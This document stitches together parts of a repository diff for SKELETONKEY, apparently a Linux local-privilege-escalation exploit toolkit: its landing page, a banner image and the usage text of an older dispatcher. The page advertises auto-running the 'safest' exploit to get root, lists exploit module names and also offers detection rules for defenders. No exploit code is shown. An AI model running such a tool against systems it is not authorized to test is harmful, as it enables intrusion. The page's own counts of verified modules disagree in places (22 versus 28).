+          <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
+        </svg>
+      </a>
+    </div>
+  </div>
+</nav>
+
+<!-- ──────────────── HERO ──────────────── -->
+<header class="hero">
+  <div class="container hero-inner">
+    <div class="hero-eyebrow">
+      <span class="dot dot-pulse"></span>
+      v0.9.3 — released 2026-05-24
+    </div>
+    <h1 class="hero-title">
+      <span class="display-wordmark">SKELETONKEY</span>
+    </h1>
+    <p class="hero-tag">
+      One binary. <strong>39 Linux LPE modules</strong> covering 34 CVEs —
+      <strong>every year 2016 → 2026</strong>. 28 of 34 confirmed against
+      real Linux kernels in VMs. SOC-ready detection rules in four SIEM
+      formats. MITRE ATT&amp;CK + CWE + CISA KEV annotated.
+      <span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
+    </p>
+
+    <div class="install-block">
+      <div class="install-bar">
+        <span class="install-dots" aria-hidden="true">
+          <i></i><i></i><i></i>
+        </span>
+        <span class="install-title">terminal</span>
+        <button class="copy" onclick="copyInstall(this)" aria-label="Copy install command">copy</button>
+      </div>
+      <pre id="install-cmd"><span class="prompt">$</span> <span id="install-typed"></span><span class="cursor" id="install-cursor">▋</span></pre>
+    </div>
+
+    <div class="stats-row" id="stats-row">
+      <div class="stat-chip"><span class="num" data-target="39">0</span><span>modules</span></div>
+      <div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
+      <div class="stat-chip stat-kev"><span class="num" data-target="12">0</span><span>★ in CISA KEV</span></div>
+      <div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
+    </div>
+
+    <div class="cta-row">
+      <a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">
+        ↓ Latest release
+      </a>
+      <a class="btn" href="#explain">See <code>--explain</code> in action</a>
+      <a class="btn btn-ghost" href="https://github.com/KaraZajac/SKELETONKEY">
+        <svg height="16" viewBox="0 0 16 16" width="16" fill="currentColor"><path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
+        Source on GitHub
+      </a>
+    </div>
+
+    <p class="hero-warn">Authorized testing only. See <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a>.</p>
+  </div>
+</header>
+
+<!-- ──────────────── TRUST STRIP ──────────────── -->
+<section class="trust-strip">
+  <div class="container">
+    <div class="trust-row">
+      <span class="trust-label">Grounded in authoritative sources</span>
+      <ul class="trust-items">
+        <li>CISA KEV catalog</li>
+        <li>NVD CVE API</li>
+        <li>MITRE ATT&amp;CK</li>
+        <li>kernel.org stable tree</li>
+        <li>Debian Security Tracker</li>
+        <li>NIST CWE</li>
+      </ul>
+    </div>
+  </div>
+</section>
+
+<!-- ──────────────── --EXPLAIN SHOWCASE ──────────────── -->
+<section id="explain" class="section section-feature reveal">
+  <div class="container">
+    <div class="section-head">
+      <span class="section-tag">flagship feature</span>
+      <h2>One command. Complete briefing.</h2>
+      <p class="lead">
+        <code>skeletonkey --explain &lt;module&gt;</code> renders the page every
+        team needs: CVE / CWE / MITRE ATT&amp;CK / CISA KEV status, host
+        fingerprint, live detect() trace with verdict, OPSEC footprint, and
+        the detection-rule coverage matrix. Triage tickets and SOC handoffs
+        in one paste.
+      </p>
+    </div>
+
+    <div class="terminal-shell">
+      <div class="terminal-bar">
+        <span class="install-dots" aria-hidden="true"><i></i><i></i><i></i></span>
+        <span class="install-title">skk-host ~ $</span>
+      </div>
+      <pre class="terminal-body" id="explain-output"></pre>
+    </div>
+
+    <div class="explain-annotations">
+      <div class="annotation">
+        <span class="anno-num">1</span>
+        <div>
+          <strong>Triage metadata in the header</strong>
+          <p>CWE class, MITRE ATT&amp;CK technique, CISA KEV status with
+          date_added. Fed from <code>tools/refresh-cve-metadata.py</code>
+          which pulls fresh from federal data sources.</p>
+        </div>
+      </div>
+      <div class="annotation">
+        <span class="anno-num">2</span>
+        <div>
+          <strong>Live host fingerprint</strong>
+          <p>Cached once at startup by <code>core/host.c</code>. Every
+          module sees the same kernel / arch / distro / userns / apparmor
+          / selinux / lockdown picture.</p>
+        </div>
+      </div>
+      <div class="annotation">
+        <span class="anno-num">3</span>
+        <div>
+          <strong>Real detect() trace</strong>
+          <p>The verbose stderr of the module's own probe — each gate
+          fires, each kernel_range entry checked, each verdict justified.
+          No more black-box "VULNERABLE" outputs.</p>
+        </div>
+      </div>
+      <div class="annotation">
+        <span class="anno-num">4</span>
+        <div>
+          <strong>OPSEC footprint</strong>
+          <p>Per-exploit description of what the SOC would see if this
+          fired: file artifacts, dmesg signatures, syscall observables,
+          network activity, cleanup behavior.</p>
+        </div>
+      </div>
+    </div>
+  </div>
+</section>
+
+<!-- ──────────────── BENTO FEATURES ──────────────── -->
+<section class="section section-bento reveal">
+  <div class="container">
+    <div class="section-head">
+      <span class="section-tag">capabilities</span>
+      <h2>Built for every side of the desk</h2>
+    </div>
+
+    <div class="bento">
+      <article class="bento-card bento-lg">
+        <div class="bento-icon">⚡</div>
+        <h3>Auto-pick the safest exploit</h3>
+        <p>
+          <code>--auto</code> ranks vulnerable modules by stability
+          (structural escapes &gt; page-cache writes &gt; userspace races
+          &gt; kernel races) and runs the safest one. Never crashes a
+          production box looking for root.
+        </p>
+        <pre class="bento-code">$ skeletonkey --auto --i-know
+[*] 3 vulnerable; safest is 'pwnkit' (rank 100)
+[*] launching --exploit pwnkit...
+# id
+uid=0(root) gid=0(root)</pre>
+      </article>
+
+      <article class="bento-card">
+        <div class="bento-icon">🛡</div>
+        <h3>151 detection rules</h3>
+        <p>
+          auditd · sigma · yara · falco. One command emits the corpus for
+          your SIEM. Each rule grounded in the module's own syscalls.
+        </p>
+        <div class="rule-cov">
+          <div class="rule-row"><span>auditd</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
+          <div class="rule-row"><span>sigma</span><span class="rule-bar"><i style="width:100%"></i></span><span>31/31</span></div>
+          <div class="rule-row"><span>yara</span><span class="rule-bar"><i style="width:90.3%"></i></span><span>28/31</span></div>
+          <div class="rule-row"><span>falco</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
+        </div>
+      </article>
+
+      <article class="bento-card bento-kev">
+        <div class="bento-icon">★</div>
+        <h3>CISA KEV prioritized</h3>
+        <p>
+          12 of 34 CVEs in the corpus are in CISA's Known Exploited
+          Vulnerabilities catalog — actively exploited in the wild.
+          Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
+        </p>
+      </article>
+
+      <article class="bento-card">
+        <div class="bento-icon">🧬</div>
+        <h3>OPSEC notes per exploit</h3>
+        <p>
+          Each module ships a runtime-footprint paragraph: files, dmesg,
+          syscall observables, network, persistence. The inverse of the
+          detection rules — what an attacker would leave behind on
+          <em>your</em> host.
+        </p>
+      </article>
+
+      <article class="bento-card bento-lg">
+        <div class="bento-icon">🎯</div>
+        <h3>One host fingerprint, every module</h3>
+        <p>
+          <code>core/host.c</code> probes kernel / arch / distro / userns /
+          apparmor / selinux / lockdown / sudo version / polkit version
+          <em>once</em> at startup. Every <code>detect()</code> reads the
+          same cached snapshot, so verdicts stay coherent across the
+          corpus.
+        </p>
+        <pre class="bento-code">struct skeletonkey_host {
+    struct kernel_version kernel;
+    char arch[32], distro_id[64];
+    bool unprivileged_userns_allowed;
+    bool apparmor_restrict_userns;
+    bool kpti_enabled, selinux_enforcing;
+    char meltdown_mitigation[64];
+    char sudo_version[64], polkit_version[64];
+    ...
+};</pre>
+      </article>
+
+      <article class="bento-card">
+        <div class="bento-icon">📡</div>
+        <h3>JSON for pipelines</h3>
+        <p>
+          <code>--scan --json</code> emits a stable schema (see
+          <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON_SCHEMA.md</a>)
+          with triage metadata, opsec notes, and rule coverage embedded.
+          Ready for Splunk / Elastic / Sentinel ingest.
+        </p>
+      </article>
+
+      <article class="bento-card">
+        <div class="bento-icon">🔒</div>
+        <h3>No SaaS. No telemetry.</h3>
+        <p>
+          One static binary. No phone-home, no analytics, no cloud
+          accounts. Reads <code>/proc</code> + <code>/sys</code>, runs the
+          probe, exits. JSON or plain text — your pipeline owns the data.
+        </p>
+      </article>
+
+      <article class="bento-card bento-vfy">
+        <div class="bento-icon">✓</div>
+        <h3>22 modules empirically verified</h3>
+        <p>
+          <code>tools/verify-vm/</code> spins up known-vulnerable
+          kernels (stock distro + mainline from kernel.ubuntu.com), runs
+          <code>--explain --active</code> per module, and records the
+          verdict. <strong>28 of 34 CVEs</strong> confirmed against
+          real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
+          + mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
+          <code>--list</code> shows ✓ per module.
+        </p>
+      </article>
+    </div>
+  </div>
+</section>
+
+<!-- ──────────────── MODULE CORPUS ──────────────── -->
+<section id="corpus" class="section reveal">
+  <div class="container">
+    <div class="section-head">
+      <span class="section-tag">corpus</span>
+      <h2>34 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
+    </div>
+
+    <h3 class="corpus-h" data-color="green">
+      <span class="corpus-dot green"></span>
+      Lands root on a vulnerable host
+      <span class="corpus-h-sub">structural escapes + page-cache writes; no per-kernel offsets needed</span>
+    </h3>
+    <div class="pills">
+      <span class="pill green">copy_fail</span>
+      <span class="pill green">copy_fail_gcm</span>
+      <span class="pill green">dirty_frag_esp</span>
+      <span class="pill green">dirty_frag_esp6</span>
+      <span class="pill green">dirty_frag_rxrpc</span>
+      <span class="pill green kev">★ dirty_pipe</span>
+      <span class="pill green kev">★ dirty_cow</span>
+      <span class="pill green kev">★ pwnkit</span>
+      <span class="pill green kev">★ overlayfs</span>
+      <span class="pill green kev">★ overlayfs_setuid</span>
+      <span class="pill green">cgroup_release_agent</span>
+      <span class="pill green kev">★ ptrace_traceme</span>
+      <span class="pill green">sudoedit_editor</span>
+      <span class="pill green">entrybleed</span>
+    </div>
+
+    <h3 class="corpus-h" data-color="yellow">
+      <span class="corpus-dot yellow"></span>
+      Fires kernel primitive · opt-in <code>--full-chain</code>
+      <span class="corpus-h-sub">honest <code>EXPLOIT_FAIL</code> default; <code>--full-chain</code> runs the shared modprobe_path finisher</span>
+    </h3>
+    <div class="pills">
+      <span class="pill yellow kev">★ nf_tables</span>
+      <span class="pill yellow">nft_set_uaf</span>
+      <span class="pill yellow">nft_fwd_dup</span>
+      <span class="pill yellow">nft_payload</span>
+      <span class="pill yellow kev">★ netfilter_xtcompat</span>
+      <span class="pill yellow">af_packet</span>
+      <span class="pill yellow">af_packet2</span>
+      <span class="pill yellow">af_unix_gc</span>
+      <span class="pill yellow">cls_route4</span>
+      <span class="pill yellow kev">★ fuse_legacy</span>
+      <span class="pill yellow">stackrot</span>
+      <span class="pill yellow kev">★ sudo_samedit</span>
+      <span class="pill yellow">sequoia</span>
+      <span class="pill yellow">vmwgfx</span>
+    </div>
+
+    <p class="corpus-foot">
+      Full inventory with kernel ranges, mitigations, and detection
+      coverage:
+      <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVES.md</a>
+      ·
+      <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md">KEV cross-reference</a>
+      ·
+      <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/CVE_METADATA.json">CVE_METADATA.json</a>
+    </p>
+  </div>
+</section>
+
+<!-- ──────────────── AUDIENCE ──────────────── -->
+<section class="section section-audience reveal">
+  <div class="container">
+    <div class="section-head">
+      <span class="section-tag">who it's for</span>
+      <h2>Same project. Both sides of the engagement.</h2>
+    </div>
+
+    <div class="audience-grid">
+      <div class="audience-card audience-red">
+        <div class="audience-icon">🔴</div>
+        <h3>Red team / pentesters</h3>
+        <p>
+          <code>--auto</code> picks the safest exploit and runs it. Honest
+          scope reporting — never claims root it didn't actually get.
+          Per-exploit OPSEC notes tell you what telemetry you'll leave.
+          No more curating stale PoC repos.
+        </p>
+        <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/README.md" class="audience-link">Walkthrough →</a>
+      </div>
+      <div class="audience-card audience-blue">
+        <div class="audience-icon">🔵</div>
+        <h3>Blue team / SOC</h3>
+        <p>
+          One command ships SIEM coverage for the entire corpus.
+          <code>--explain</code> renders a triage briefing per CVE with
+          CWE / ATT&amp;CK / KEV / OPSEC — paste into the ticket.
+          KEV-prioritized so you fix what attackers are already using.
+        </p>
+        <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md" class="audience-link">Playbook →</a>
+      </div>
+      <div class="audience-card audience-gray">
+        <div class="audience-icon">🛠</div>
+        <h3>Sysadmins / IT</h3>
+        <p>
+          <code>--scan</code> works without sudo. JSON output for CI
+          gates. Fleet-scan helper bundled. Compatible with everything
+          back to glibc 2.17 via the static-musl binary. No SaaS,
+          no analytics, no cloud accounts.
+        </p>
+        <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md" class="audience-link">JSON schema →</a>
+      </div>
+      <div class="audience-card audience-purple">
+        <div class="audience-icon">🎓</div>
+        <h3>Researchers / CTF</h3>
+        <p>
+          34 CVEs, 10-year span, each with the original PoC author
+          credited and the kernel-range citation auditable.
+          <code>--explain</code> shows the reasoning chain; detection
+          rules let you practice both sides. Source is the documentation.
+        </p>
+        <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md" class="audience-link">Architecture →</a>
+      </div>
+    </div>
+  </div>
+</section>
+
+<!-- ──────────────── HONESTY CALLOUT ──────────────── -->
+<section class="section section-callout reveal">
+  <div class="container">
+    <div class="callout">
+      <div class="callout-mark">✓</div>
+      <div>
+        <h3>The verified-vs-claimed bar</h3>
+        <p>
+          Most public PoC repos hardcode offsets for one kernel build and
+          silently break elsewhere. <strong>SKELETONKEY refuses to ship
+          fabricated offsets.</strong> The shared <code>--full-chain</code>
+          finisher returns <code>EXPLOIT_OK</code> only when a setuid
+          bash sentinel file <em>actually appears</em>. Modules with a
+          primitive but no portable cred-overwrite chain default to
+          firing the primitive + grooming the slab + recording a witness,
+          then return <code>EXPLOIT_FAIL</code> with diagnostic.
+          Operators populate the offset table once per kernel via
+          <code>--dump-offsets</code> and upstream the entry via PR.
+        </p>
+      </div>
+    </div>
+  </div>
+</section>
+
+<!-- ──────────────── QUICKSTART ──────────────── -->
+<section id="quickstart" class="section reveal">
+  <div class="container">
+    <div class="section-head">
+      <span class="section-tag">quickstart</span>
+      <h2>Five commands.</h2>
+    </div>
+
+    <div class="tabs" role="tablist">
+      <button class="tab active" data-tab="install" role="tab">install</button>
+      <button class="tab" data-tab="scan" role="tab">scan</button>
+      <button class="tab" data-tab="explain" role="tab">explain</button>
+      <button class="tab" data-tab="auto" role="tab">auto</button>
+      <button class="tab" data-tab="detect" role="tab">detect-rules</button>
+    </div>
+
+    <div class="tab-panel active" data-tab="install">
+<pre class="code"><span class="cmt"># install (x86_64 / arm64; checksum-verified)</span>
+<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
+<span class="cmt"># default is the musl-static x86_64 binary — works back to glibc 2.17</span></pre>
+    </div>
+    <div class="tab-panel" data-tab="scan">
+<pre class="code"><span class="cmt"># inventory — no sudo needed</span>
+<span class="prompt">$</span> skeletonkey --scan
+<span class="cmt"># or machine-readable for a SIEM</span>
+<span class="prompt">$</span> skeletonkey --scan --json | jq '.findings[] | select(.verdict == "VULNERABLE")'</pre>
+    </div>
+    <div class="tab-panel" data-tab="explain">
+<pre class="code"><span class="cmt"># one-page operator briefing for a single CVE</span>
+<span class="prompt">$</span> skeletonkey --explain nf_tables
+<span class="cmt"># shows CVE/CWE/ATT&amp;CK/KEV header, host fingerprint, live trace,</span>
+<span class="cmt"># verdict, OPSEC footprint, detection coverage. Paste into your ticket.</span></pre>
+    </div>
+    <div class="tab-panel" data-tab="auto">
+<pre class="code"><span class="cmt"># pick the safest exploit and run it</span>
+<span class="prompt">$</span> skeletonkey --auto --i-know
+<span class="cmt"># --dry-run for "what would it do?" without launching</span>
+<span class="prompt">$</span> skeletonkey --auto --dry-run</pre>
+    </div>
+    <div class="tab-panel" data-tab="detect">
+<pre class="code"><span class="cmt"># deploy SIEM coverage (needs sudo to write to /etc/audit/rules.d/)</span>
+<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
+<span class="prompt">$</span> sudo augenrules --load
+
+<span class="cmt"># or in YAML for falco / sigma / yara</span>
+<span class="prompt">$</span> skeletonkey --detect-rules --format=falco &gt; /etc/falco/skeletonkey_rules.yaml</pre>
+    </div>
+  </div>
+</section>
+
+<!-- ──────────────── ROADMAP / TIMELINE ──────────────── -->
+<section class="section section-timeline reveal">
+  <div class="container">
+    <div class="section-head">
+      <span class="section-tag">where we are</span>
+      <h2>Recently shipped · in flight · next.</h2>
+    </div>
+
+    <div class="timeline">
+      <div class="tl-col tl-shipped">
+        <div class="tl-tag">shipped</div>
+        <ul>
+          <li><strong>28 of 34 CVEs empirically verified</strong> in real Linux VMs</li>
+          <li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
+          <li>Per-module <code>verified_on[]</code> table baked into the binary</li>
+          <li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
+          <li><strong>OPSEC notes</strong> — per-module runtime footprint</li>
+          <li><strong>CISA KEV + NVD CWE + MITRE ATT&amp;CK</strong> metadata pipeline</li>
+          <li>151 detection rules across all four SIEM formats</li>
+          <li><code>core/host.c</code> shared host-fingerprint refactor</li>
+          <li>88-test harness (kernel_range + detect integration)</li>
+        </ul>
+      </div>
+      <div class="tl-col tl-active">
+        <div class="tl-tag">in flight</div>
+        <ul>
+          <li>9 deferred TOO_TIGHT kernel-range drift findings</li>
+          <li>PackageKit provisioner so pack2theroot can hit the VULNERABLE path</li>
+          <li>Custom Vagrant box for kernels ≤ 4.4 (unblock dirty_cow verification)</li>
+        </ul>
+      </div>
+      <div class="tl-col tl-next">
+        <div class="tl-tag">next</div>
+        <ul>
+          <li>arm64 musl-static binary (Raspberry-Pi-class deployments)</li>
+          <li>Mass-fleet scan aggregator → heat-map dashboard</li>
+          <li>SIEM query templates (Splunk SPL, Elastic KQL, Sentinel KQL)</li>
+          <li>CWE / ATT&amp;CK filter for <code>--scan --json</code></li>
+          <li>CI hardening: clang-tidy, scan-build, drift-check job</li>
+        </ul>
+      </div>
+    </div>
+
+    <p class="tl-foot">
+      Full roadmap and contribution guide:
+      <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">ROADMAP.md</a>
+      ·
+      <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a>
+    </p>
+  </div>
+</section>
+
+<!-- ──────────────── FOOTER ──────────────── -->
+<footer class="footer">
+  <div class="container footer-inner">
+    <div class="footer-col">
+      <div class="footer-brand">
+        <span class="nav-mark" aria-hidden="true">◆</span>
+        SKELETONKEY
+      </div>
+      <p class="footer-tag">
+        Curated Linux LPE corpus with SOC-ready detection rules. One
+        binary, no SaaS, no telemetry. MIT licensed.
+      </p>
+    </div>
+    <div class="footer-col">
+      <h4>Project</h4>
+      <ul>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY">Source</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/releases">Releases</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVE inventory</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Roadmap</a></li>
+      </ul>
+    </div>
+    <div class="footer-col">
+      <h4>Docs</h4>
+      <ul>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md">Architecture</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md">Detection playbook</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON schema</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/OFFSETS.md">Offsets</a></li>
+      </ul>
+    </div>
+    <div class="footer-col">
+      <h4>Ethics</h4>
+      <ul>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DEFENDERS.md">For defenders</a></li>
+        <li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">Contribute</a></li>
+      </ul>
+    </div>
+  </div>
+  <div class="container footer-bottom">
+    <p>
+      Each module credits the original CVE reporter and PoC author in its
+      <code>NOTICE.md</code>. The research credit belongs to the people
+      who found the bugs.
+    </p>
+    <p class="footer-meta">
+      v0.9.3 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
+    </p>
+  </div>
+</footer>
+
+<script src="app.js" defer></script>
+
+</body>
+</html>

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+  <!-- diamond mark -->
+  <g transform="translate(80,140)">
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+  </g>
+
+  <!-- wordmark -->
+  <text x="142" y="170" font-family="'Space Grotesk','Inter',sans-serif" font-weight="700" font-size="68" fill="#ecedf7" letter-spacing="-2">
+    SKELETONKEY
+  </text>
+
+  <!-- tagline -->
+  <text x="80" y="240" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
+    Curated Linux LPE corpus.
+  </text>
+  <text x="80" y="278" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
+    Every year 2016 → 2026. 28 of 34 verified.
+  </text>
+
+  <!-- stat chips -->
+  <g transform="translate(80,360)">
+    <!-- 39 modules -->
+    <rect x="0" y="0" width="190" height="58" rx="29" fill="#161628" stroke="#25253c"/>
+    <text x="28" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">39</text>
+    <text x="64" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">modules</text>
+
+    <!-- 28 VM-verified -->
+    <rect x="206" y="0" width="240" height="58" rx="29" fill="#161628" stroke="#10b981" stroke-opacity="0.5"/>
+    <text x="234" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#34d399">28</text>
+    <text x="270" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">✓ VM-verified</text>
+
+    <!-- 12 KEV -->
+    <rect x="482" y="0" width="218" height="58" rx="29" fill="#161628" stroke="#ef4444" stroke-opacity="0.4"/>
+    <text x="510" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ef4444">12</text>
+    <text x="546" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">★ in CISA KEV</text>
+
+    <!-- 151 rules -->
+    <rect x="736" y="0" width="232" height="58" rx="29" fill="#161628" stroke="#25253c"/>
+    <text x="764" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">151</text>
+    <text x="810" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">detection rules</text>
+  </g>
+
+  <!-- terminal mockup -->
+  <g transform="translate(80,478)">
+    <rect x="0" y="0" width="1040" height="92" rx="12" fill="#0a0a14" stroke="#25253c"/>
+    <!-- bar -->
+    <circle cx="22" cy="22" r="6" fill="#ff5f57"/>
+    <circle cx="42" cy="22" r="6" fill="#febc2e"/>
+    <circle cx="62" cy="22" r="6" fill="#28c840"/>
+    <line x1="0" y1="44" x2="1040" y2="44" stroke="#1c1c2d"/>
+    <text x="24" y="78" font-family="'JetBrains Mono',monospace" font-size="20" fill="#ecedf7">
+      <tspan fill="#10b981">$</tspan> skeletonkey --explain nf_tables    <tspan fill="#5b5b75"># operator briefing in one command</tspan>
+    </text>
+  </g>
+
+  <!-- subtle url at very bottom -->
+  <text x="1120" y="610" font-family="'JetBrains Mono',monospace" font-size="14" fill="#5b5b75" text-anchor="end">
+    karazajac.github.io/SKELETONKEY
+  </text>
+</svg>

iamroot.c

@@ -1,804 +0,0 @@
-/*
- * IAMROOT — top-level dispatcher
- *
- * Usage:
- *   iamroot --scan                    # run every module's detect()
- *   iamroot --scan --json             # machine-readable output
- *   iamroot --scan --active           # invasive probes (still no /etc/passwd writes)
- *   iamroot --list                    # list registered modules
- *   iamroot --exploit <name> --i-know # run a named module's exploit
- *   iamroot --mitigate <name>         # apply a temporary mitigation
- *   iamroot --cleanup <name>          # undo --exploit or --mitigate side effects
- *
- * Phase 1 scope: thin dispatcher over the copy_fail_family bridge.
- * Future phases add: --detect-rules export, multi-family registry,
- * fingerprint pre-pass, etc.
- */
-
-#include "core/module.h"
-#include "core/registry.h"
-#include "core/offsets.h"
-
-#include <time.h>
-
-#include <getopt.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define IAMROOT_VERSION "0.3.1"
-
-static const char BANNER[] =
-"\n"
-" ██╗ █████╗ ███╗   ███╗██████╗  ██████╗  ██████╗ ████████╗\n"
-" ██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝\n"
-" ██║███████║██╔████╔██║██████╔╝██║   ██║██║   ██║   ██║   \n"
-" ██║██╔══██║██║╚██╔╝██║██╔══██╗██║   ██║██║   ██║   ██║   \n"
-" ██║██║  ██║██║ ╚═╝ ██║██║  ██║╚██████╔╝╚██████╔╝   ██║   \n"
-" ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝   \n"
-"   Curated Linux kernel LPE corpus — v" IAMROOT_VERSION "\n"
-"   AUTHORIZED TESTING ONLY — see docs/ETHICS.md\n";
-
-static void usage(const char *prog)
-{
-    fprintf(stderr,
-"Usage: %s [MODE] [OPTIONS]\n"
-"\n"
-"Modes (default: --scan):\n"
-"  --scan                run every module's detect() across the host\n"
-"  --list                list registered modules and exit\n"
-"  --exploit <name>      run named module's exploit (REQUIRES --i-know)\n"
-"  --mitigate <name>     apply named module's mitigation\n"
-"  --cleanup <name>      undo named module's exploit/mitigate side effects\n"
-"  --detect-rules        dump detection rules for every module\n"
-"                        (combine with --format=auditd|sigma|yara|falco)\n"
-"  --module-info <name>  full metadata + rule bodies for one module\n"
-"                        (combine with --json for machine-readable output)\n"
-"  --audit               system-hygiene scan: setuid binaries, world-writable\n"
-"                        files in /etc, file capabilities, sudo NOPASSWD\n"
-"                        (complements --scan; answers 'is this box\n"
-"                        generally privesc-exposed?')\n"
-"  --dump-offsets        walk /proc/kallsyms + /boot/System.map and emit a\n"
-"                        C struct-entry ready to paste into core/offsets.c's\n"
-"                        kernel_table[] for the --full-chain finisher.\n"
-"                        Needs root (or kernel.kptr_restrict=0) to read\n"
-"                        kallsyms. See docs/OFFSETS.md.\n"
-"  --version             print version\n"
-"  --help                this message\n"
-"\n"
-"Options:\n"
-"  --i-know              authorization gate for --exploit modes\n"
-"  --active              in --scan, do invasive sentinel probes (no /etc/passwd writes)\n"
-"  --no-shell            in --exploit modes, prepare but don't drop to shell\n"
-"  --full-chain          in --exploit modes, attempt full root-pop after primitive\n"
-"                        (the 🟡 modules return primitive-only by default; with\n"
-"                        --full-chain they continue to leak → arb-write →\n"
-"                        modprobe_path overwrite. Requires resolvable kernel\n"
-"                        offsets — env vars, /proc/kallsyms, or /boot/System.map.\n"
-"                        See docs/OFFSETS.md.)\n"
-"  --json                machine-readable output (for SIEM/CI)\n"
-"  --no-color            disable ANSI color codes\n"
-"  --format <f>          with --detect-rules: auditd (default), sigma, yara, falco\n"
-"\n"
-"Exit codes:\n"
-"  0 not vulnerable / OK    2 vulnerable   5 exploit succeeded\n"
-"  1 test error             3 exploit failed   4 preconditions missing\n",
-        prog);
-}
-
-enum mode {
-    MODE_SCAN,
